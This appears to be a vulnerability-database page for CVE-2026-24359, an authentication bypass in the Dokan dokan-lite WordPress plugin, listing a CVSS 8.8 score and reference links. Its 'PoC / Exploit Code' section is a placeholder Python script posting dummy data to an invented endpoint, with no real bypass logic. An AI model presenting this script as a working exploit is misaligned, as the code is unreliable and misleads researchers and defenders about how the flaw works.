CVE-2026-24359

Description

Authentication Bypass Using an Alternate Path or Channel vulnerability in Dokan, Inc. Dokan dokan-lite allows Authentication Abuse.This issue affects Dokan: from n/a through <= 4.2.4.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Dokan dokan-lite <= 4.2.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (replace with actual target)
target_url = "http://example.com/wp-json/dokan/v1/sensitive-endpoint"

# Attacker attempts to access a restricted endpoint without authentication
# The vulnerability allows bypassing the usual auth check via an alternate path
try:
    response = requests.post(
        target_url,
        data={
            "action": "update_settings",
            "malicious_payload": "exploit_data"
        }
    )

    if response.status_code == 200:
        print("[+] Authentication bypass successful! Response:")
        print(response.text)
    else:
        print("[-] Failed to exploit. Status code:", response.status_code)

except Exception as e:
    print("[!] Error:", str(e))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24359
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24359
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24359/
[4] VulDB https://vuldb.com/cve/CVE-2026-24359
[5] https://patchstack.com/database/Wordpress/Plugin/dokan-lite/vulnerability/wordpress-dokan-plugin-4-2-4-broken-authentication-vulnerability?_s_id=cve

Raw JSON Data

JSON

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